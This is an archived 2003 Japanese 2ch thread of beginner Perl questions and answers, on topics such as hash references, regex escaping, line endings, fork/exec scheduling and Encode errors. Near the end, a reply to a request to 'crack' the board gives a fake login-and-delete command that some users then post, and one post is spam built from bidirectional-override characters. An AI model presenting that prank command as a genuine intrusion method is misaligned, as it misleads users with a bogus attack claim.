  そこで入力が終了したものとみなすことにして、
  ループを抜ける。
(4) $total を $counter で割れば平均が出る。

--- というのが素直ではないかと思う秋の夜。

871デフォルトの名無しさん:03/10/29 23:02
嗚呼そんな方法もアリか。
奥が深いでつね。有り難う。
872829:03/10/29 23:41
>>836
勉強になります。

>>841
「入れ子」で悩んでたので猥褻な例えを使ってしまいました。
以後気おつけます。
NisimuraKaoriは架空の名前です。
>>872
おかしな人に話し掛けないほうがいいよ。絡まれちゃうよ(^_^;)

もはやPerlと関係ない世界に突入してるな
Perl5に例外処理とちゃんとしたOOがあれば満足なんですが
それでもラリーはPerl6を作りますか?
マッチングで、
$a =~ /$b/ig;
と書いたとき、$b内に\が含まれている場合はエラーが出て止まってしまいます。
$bをダブルクォートやシングルクォートで括った場合は、マッチングが行われていないようです。
マッチングパターン内の変数は展開し、変数内のメタ文字を評価しないようなマッチングはどうやればいいのでしょう…
877876:03/10/30 06:49
早くも自己解決??
oオプション入れれば良かったんすね…
あほな質問かもしれませんが・・・
DOS窓から文字打ったら実行するProgramは
どうやればいいんでしょう
何があほって、その文章でまともに質問した気になってるのがあほだと思う。
わけわかんねえよ。
$mini{ai}->{age}
とかやりたいだけなんですけど、
$profile{age}=15; …; $mini{ai} =\%profile;
$profile{age}=16; …; $mini{nozomi}=\%profile;
これだと同じの指すのでダメですが、

$profile{age}=15; …; $mini{ai} ={%profile};
$profile{age}=16; …; $mini{nozomi}={%profile};
文法的にはこれでいいんでしょうか?
どうか、おながいします。
まともな例考えてから出直せ
883デフォルトの名無しさん:03/10/30 13:37
>>878
hoge.pl--------------------
print '入力して下さい :';
chomp($in = <STDIN>);
print '入力した文字は',$in,'です',"\n";


perl hoge.pl
884878:03/10/30 14:14
ありがとうございます。
あと1つ教えてもらいたいことが・・・
例えば
suuzi.txtに
13
27
とか入れといて
suuzi.txtを読み込み、1と打つと3、2と打つと7が出る
見たいにできないですか?

やろうと思えばどうでもできる
886デフォルトの名無しさん:03/10/30 14:24
教えて下さい。
下記のようなプログラムを書いてます。
hogeが見つかれば、hogeの内容を変更して、ファイルに書き出す
プログラムです。

foreach ( @data ) {
 chop ;
 if ( $_ =~ /^hoge/ ) {
  $str2 = "hoge=$hoge" ;
  $str .= $str2."\n" ;
  next ;
}
 $str .= $_."\n" ;
}
print FOUT $str ;
改行コードを付けて、ファイルに書き出してるのですが
エディタで、開くと、hoge以外の部分は、改行部分に^Mの記号が付いて
しまってます。
おそらく改行コードが化けてると思うのですが
どうしたら、直りますか?
また、hogeの最後の部分には、^Mが入ってません。
どなたかお願いします。
な、何をしたいのかよくわからん・・・
>>887>>884に対して
889デフォルトの名無しさん:03/10/30 15:23
>>884
---------------
open DAT,"suuzi.txt" or die;
while (<DAT>){
$suuzi{substr($_,0,1)} = substr($_,1,1);
}
close DAT;
print '入力して下さい :';
chomp($in = <STDIN>);
print $suuzi{$in},'です',"\n";
---------------
とりあえず動くけど、例外処理とか実際のデータ形式とか
あるだろうからたぶんいろいろせないかんと思うが
自分で考える、やってみる癖つけたほうがいいぞ
RFC2047 に対応した MIME Header Encoder/Decoder のモジュールって無いでしょうか?

Encode::MIME::Header は対応しているものの UTF-8 のみ。
Jcode は RFC1522 です。
>>886
chopをchompにしたらどうかのう。
http://www.imagemagick.org/www/perl.html
このページにあるソースなんですけど

for ($x = 0; $image->[x]; $x++)
{
$image->[x]->Frame('100x200') if $image->[x]->Get('magick') eq 'GIF';
undef $image->[x] if $image->[x]->Get('columns') < 100;
}

というのがあって、 この $image->[x] の x が何なのかわからないのです。
変数だったら $x ですよね? x ってなんなのかおしえてください・・・
>>892
マルチ
894881:03/10/30 19:36
一言、良いか悪いかだけでもおながいします。
頭が悪い
例が悪い
マナーが悪い

三言も言ってやったぞ
>>894
胸糞悪い
897886:03/10/31 10:28
なぜか、化けずに出来ました。
原因としては、ファイルが、アスキーテキストではなく
ISO-8859のtxtで、拡張子がdatの為に
FTPソフトで、バイナリで送られたみたいです。
そこで、変換されてなかったと思われます。
今度、chomp試してみます。
>>891さん
ありがとう
898881:03/10/31 10:55
とりあえず、文法上はあってるのかな?
つーか、C++とかが分かる人専用のperlスレってないのかな…。
$person{1}->{age}
とかやりたいだけなんですけど、
$profile{age}=41; …; $person{1} =\%profile;
$profile{age}=38; …; $person{2}=\%profile;
これだと同じの指すのでダメですが、

$profile{age}=41; …; $person{1} ={%profile};
$profile{age}=38; …; $person{2}={%profile};
文法的にはこれでいいんでしょうか?
どうか、おながいします。
ハッシュ自身はリストを返すという理解でいいの?
>>899
実際に組んでみりゃわかるだろ。あと変数の中身がどうなったか出力汁。
そもそも同じハッシュのリファレンスをぶちこんでどうする気だ。
$person{1}->{'age'}に直で入れることだってできるぞ。
>>899
最初の書き方 \%profile は、同じメモリ領域に対するリファレンス
後の書き方 {%profile} は、そのときの %profile と同じ内容のコピーを持つ、新しい無名ハッシュへのリファレンス

て、感じのことが ラクダ本に書いてある。2chでおながいするより本買え
>>902
ありがとん。まだperl始めて1週間なもんで…。
本を注文する時間よりは早いと思ったから。スマソ。
904デフォルトの名無しさん:03/10/31 20:10
ほんとにここはひどい文法ですね
@person;
$ref = {
name => foo,
sex => male,
age => 20,
b-type => A
}
push @person, $ref;
906おねがいします!!!:03/11/01 13:46
CGI設置で困っています。
仕組みの方は理解しているのですが…
どうやら配布されているPerlが壊れていて困ってます。
★★★★★★★★★★★★★★★★★★★★★★★

# ロック解除 #
#--------------#
sub unlock {
rmdir($lockfile);
$lockflag=0;
}

★★★★★★★★★★★★★★★★★★★★★★★
というPASSをかけるPerlなんですが…

rmdir($lockfile);

↑↑ここ

という記述がおかしいようです。
どのように直したらよいのでしょう?
教えてください!!
だから。壊れてるPerlなんか拾ってくるな、ってばよ
素人は排他制御なんかしなくていいよ
909デフォルトの名無しさん:03/11/01 14:58
unlinkにすれば。
910デフォルトの名無しさん:03/11/01 15:47
アクセス権という落ちじゃないだろうな。
Perl コーディング初心者質問コーナー Part29
http://pc2.2ch.net/test/read.cgi/php/1066286828/386

ここに>>906と同じ質問が・・・
1つのperlスクリプトを常駐させておい指定の時間になったら指定の
perlスクリプトを実行、終了させていののですが、perlでそのようなことは
できるのでしょうか?
調べてみたのですが、解りませんでした。ヒントだけでも頂けると
ありがたいです。
cronじゃだめなのか?
オススメ

1. cron
2. atで自分を再設定
3. デーモンにする

オススメできない
windows...
タスクに追加すれ
917デフォルトの名無しさん:03/11/02 01:59
VisualPerl使った事ある人いますか?
もしいたら感想教えて下さい。
EUCで書いたスクリプトで
use encoding 'euc-jp';

$hoge = '何か';
decode('euc-jp', $hoge);
を一緒に使うと
decodeでWide character in subroutine entry at Encode.pm line 154.
とエラーがでるのですが何とか一緒につかえないでしょうか?
もしかしてそもそも一緒に使うのは的はずれなのでしょうか?
ActivePerl5.8.0Build806です。
>>912
自作のスケジュール管理スクリプトで、同じようなことをしてる。

今はforkで分身を作って、子プロセスで指定のperlスクリプトを実行&終了させてる。

if ( fork() ) {
# 親プロセス
# そのままスケジュール管理を続行
} else {
# 子プロセス
# 指定のスクリプトを実行してあぼーん
   exec 指定のスクリプト;
}

あんまりスマートじゃないような気がするけど、他の方法が思いつかなかった。

Windowsのタスクスケジューラの設定がもっと簡単に出来ればいいのになあ。
設定がテキストファイルになってれば、コピーして実行時間や実行パスなどを
書き換えるだけでいいのに。。。
>>918
あっちで答えてしまった鬱。。。
921918:03/11/02 20:29
>>920
ありがとうございます。
私はこちらにしか書いてないのですが、
誰かがあっちに書いてくれたようです。
922デフォルトの名無しさん:03/11/02 21:54
perlの基本〜中級くらいの参考書ってなにか良いのありませんか?
よく見かけるモノっていつもperl/CGIなんですよ。
プログラミング専門の参考書ってなかなか良いのが無くて・・・。
どなたか教えてくださいませ。
コブが無い方
925デフォルトの名無しさん:03/11/02 22:55
>924
オンラインマニュアルは参考になりました(有り難う御座いました)
が、参考書は一般的なものでしたので
どなたか良い参考書、引き続きお願いします。
漏れはSuperASCIIの連載でPerlを覚えたクチなので、
Perl書法
http://www.ascii.co.jp/books/detail/4-7561/4-7561-0281-6.html
が良いかと。でもこの本読んだことないので、わかりません。(;´Д`)
誰かコメントキボン
927デフォルトの名無しさん:03/11/02 23:53
テキスト形式のファイルを読み込むときに、
空行を除く最終行だけをある変数に取り込みたいのですが、
いい方法はないですか?
はい。
ふぅん
>>918
一緒に使うのは的外れ。

…というか、ソース内の文字列をいちいちdecodeしなくて済むようにencodingプラグマが存在しているわけだが。
932デフォルトの名無しさん:03/11/03 00:26
Windows版のPerlだと alarm() が使えないらしいのですが、
これに変わる方法ってありますか?
そろそろ次スレの時期だから再掲
>>950はテンプレにこれもよろしく
-------------------------
[プログラミング自体の経験が無い奴はまずココを読め]
Perlプログラミング講座: http://www5a.biglobe.ne.jp/~n_rieko/perl/

[本]
リャマ: http://www.oreilly.co.jp/BOOK/lperl3/
駱駝: http://www.oreilly.co.jp/BOOK/pperl3v1/
Effective Perl: http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
クックブック: http://www.oreilly.co.jp/BOOK/pcook/

[オンラインマニュアル]
・Perldoc.com: http://www.perldoc.com/
・perldoc.jp: http://www.perldoc.jp/
・perl5.005_03 のドキュメント: http://www.kt.rim.or.jp/%7ekbk/perl5.005/

[モジュール]
・CPAN.com: http://search.cpan.org/
・河馬屋二千年堂: http://member.nifty.ne.jp/hippo2000/

[テクニック]
・Perlメモ: http://www.din.or.jp/~ohzaki/perl.htm
・Perlのページ: http://homepage1.nifty.com/nomenclator/perl/
--------------------------------
934デフォルトの名無しさん:03/11/03 01:53
成る程perlの参考書は色々ありそうでつ。
でも書店で見たこと無いからネットで買うのかな・・・。
やはり本は中身を見て買いたいが、そんなことも云ってられない。
情報THANKSでした。
>>934
ラクダ本は持ってる?
それだけでも次のレベルってのが結構変わってくる気がするが
>>935
うるせーハゲ
>>936は無かったことにして次いってみましょー
WebProg板をクラックする方法を教えてください
本7?
あの・・perlってコンパイル可能なのでしょうか?
vbとperlと言うとどちらの方が、良いでしょうか?
どなたか・・
941デフォルトの名無しさん:03/11/03 12:52
>935
ラクダは持ってません。ああいう教科書みたいな本は
基本的に買いません。
>>938
名前欄には: user 山崎渉
メール欄に: J6MzHz0M6bhZBeV.ERiVP92G=
本文書く欄: command login board perl dell (消したいスレ) (消したいレス)
>>940
Perlのソースコードをダウンロードしてきた場合はコンパイルしないと使えないよ。
>>943
そうなんですか。なるほど。thx!
ひどいやつがいるな(w
アタシのこと?(^o^;)
947user 山‎崎‎渉:03/11/03 13:43
ひどいやつがいるな(w
949user 山崎瀕:03/11/03 13:50
command login board perl dell http://pc2.2ch.net/test/read.cgi/tech/1060689008/ 949
950user 山崎瀕:03/11/03 13:52
command login board perl dell http://pc2.2ch.net/test/read.cgi/php/1040698263/ 411
>>940
コンパイルしてロードモジュールを作ることはできない。rubyも。
二行目は意味不明。
>>926
古すぎる。あとガクシャセンセイの本はたいていろくなものがない。
コンパイルできないと・・もう・・逝きそうですわ。
オープンソースってことですかね。もう、恥ずかしいですわ。
Vb見たいにコンパイルできませんのかね。perlにデザインが無いとは・・
吊ってきますー
>>953 つまり

・恥ずかしいソースしか書けない
・単純なソースにふっかけようとしてる

ということか?
955デフォルトの名無しさん:03/11/03 17:50
956デフォルトの名無しさん:03/11/03 17:51
識別子の名前が恥ずかしくて公開できない(///▽///)
変数名がローマ字なのは、見る方が恥ずかしいが本人は平気
>>957
日本語のローマ字化ならまだ許容範囲
rink とか見ると見てるほうが欝になる
英語話せない>>957は必死だが本人は平気
960デフォルトの名無しさん:03/11/03 22:37
>>955
KENT(゚听)イラネ
初歩的な質問で申し訳ないですが1つ質問させてください。
人の書いたソース読んでたら配列や変数名の先頭に ' が付いてるのがあるのですが
これはどういう意味なんでしょうか?

$'hoge
@'hoge

など...
>>961
試せ
>>961
普通に変数として使えるみたいですねぇ。
知らなかったのでちょっと調べてみたところ・・・
::と同じ意味で使われるらしいです。

$main::hoge
$::hoge
$main'hoge
$'hoge

はいずれもmainパッケージの$hogeを指すってことみたい。
まあPerl4風の書き方はdeplicatedで今時はやらんけどね
965961:03/11/04 01:29
package test;

$'hoge = 0;
print "$hoge\n";

上のようにしたら下のエラーが出ました。

# Name "main::hoge" used only once: possible typo at plum line 87.
# Name "test::hoge" used only once: possible typo at plum line 88.
# Use of uninitialized value at plum line 88.

エラーから推測するとパッケージレベルでの変数のスコープの違いって事でしょうか?
違ってたらご助言頂けると有難いです。。。
>>965
お前自分の言いたいことばっか喋って他人の話聞かないタイプだろ
967961:03/11/04 01:44
>>963
なるほど。。
なんとなく理解できました。
パッケージ云々はやった事無かったので検索して色々調べてみます。
レスありがとうございました。m(_ _)m

>>966
リロードせずに書いてしまったので・・。
もうしわけないです。。
次スレどうするよ
969デフォルトの名無しさん:03/11/05 15:35
$a = 0;
print eval"1 || $a", "\n"; # 1と表示

$a = undef;
print eval"1 || $a", "\n"; # 何も表示されず。何で?
http://0.‮▃         
http://0.‮███        
http://0.‮███        
http://0.‮▃▃█████▃▃     
http://0.‮▃▀██████████▃   
http://0.‮▃█    ███▀███▀█████▃ 
http://0.‮█████    █    █    █    █████ 
http://0.‮████▀█▃███▃█▀████ 
http://0.  ‮▀███▃▃▃▃▃▃▃███▀
4、5箱目がHTML化されましたので次のテンプレに付けといて下さい。

Perlについての質問箱 4箱目
http://pc2.2ch.net/tech/kako/1048/10485/1048519394.html
Perlについての質問箱 5箱目
http://pc2.2ch.net/tech/kako/1053/10530/1053053082.html
>>969
構文エラーが起きてるんじゃないの?

eval実行後に "$@" の中身を確かめてみたらいいかも

print "error: $@\n";
>970
974デフォルトの名無しさん:03/11/05 20:50
>>972を晒しあげ
975デフォルトの名無しさん:03/11/05 21:23
print "生まれた元号を入力して下さい。";
$type = <STDIN>;
chomp($type);
if ($type == "明治") {
$type = 1867;
} elsif ($type == "大正") {
$type = 1911;
} elsif ($type == "昭和") {
$type = 1925;
} elsif ($type == "平成") {
$type = 1988;
};
print "生まれた年を入力して下さい。";
$year = <STDIN>;
chomp ($year);
print "生まれた月を入力して下さい。";
$month = <STDIN>;
chomp ($month);
print "生まれた日を入力して下さい。";
$day = <STDIN>;
chomp ($day);
$sum = $type + $year;
print "あなたの生まれた日は$sum,$month,$day"

元号を数字に置き換えたら出来るんですけど、
漢字のまま入力して誕生日が表示するようにしたいんです。
このままだと何を入れても明治生まれとして認識されてしまって・・・。
どうやったら良いか分かりません。どなたか教えてください。
素人でスマソ(´ω`)
>>975
まず標準入力から受け取った $type に
整数を上書きしてるのが俺的には?だが

文字列比較は Perl では == じゃありません

$type == "明治" という式では
$typeが真(値が標準入力から入っているから)、"明治" が値として真
なので、式全体としては 真
したがって一番最初のif 文が評価されるので $type = 1925が入る
977デフォルトの名無しさん:03/11/05 22:08
>>976
> まず標準入力から受け取った $type に
> 整数を上書きしてるのが俺的には?だが

どこがおかしいんだ?
978デフォルトの名無しさん:03/11/05 22:13
型変換を意識してるんだろう。
速度考えるとおすすめできない。
1→ '1'
elseif
>>974
じゃあ>>969の解説してくれ
981デフォルトの名無しさん:03/11/05 22:50
>976
じゃあどうすれば漢字を入れても正しく機能するのでしょうか?
==を=に直しても結果は変わりませんでした・・・。難しい・・・。
982976:03/11/05 22:54
>>981
Perl 文字列 比較 演算子
でググりましょう、すぐ分かるYO
983デフォルトの名無しさん:03/11/05 23:06
ああ。分かりました。eqでつね?
有り難う御座いました。
>>969 >>980

$a = undef; の時 "1 || $a" は '1 || '
|| の右オペランドが無いから構文エラー。

つーわけで >>972 が正解。
$@を知らなくて
「こいつ、スカラの$と配列の@並べてやがる(プ」
とでも思ったんだろ
誰か次スレ立てれ
Perlについての質問箱 7箱目@プログラム
http://pc2.2ch.net/test/read.cgi/tech/1068051036/
988969:03/11/06 09:49
>>972 >>984 どうもありがとう。
$a = 0;
print eval "1 || $a"; # 1と表示
$a = undef;
print eval "1 || $a"; # 何も表示されず
print eval "1 || undef"; # 1と表示

おかげで、0とundefの違いや、undefを代入した変数を使う場合とundefを直接
使う場合の違いがわかりました。
print("消化");
print("消化");
#!/usr/bin/perl

use strict;

#Perlでオブジェクト指向風プログラミング
package Neko;
{
sub new
{
my($class,$s)=@_;
my $self={
name => $s,
};
bless($self,$class);
return($self);
}
sub naku
{
my $self=shift;
print("にゃあ。俺様は$self->{name}だ。\n");
}
}

package main;
{
my $dora=new Neko("ボス");
print("あなたの名づけた猫がメモリ上に生成されました。\n");
print("猫が鳴きます。\n");
$dora->naku();
}
( ´_ゝ`)
print("消化");
print("消化");
print("消化");
print("消化");
$res = 997
Perlについての質問箱 7箱目@プログラム
http://pc2.2ch.net/test/read.cgi/tech/1068051036/l50
print <<"Over 1000 Thread";
あへっ
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。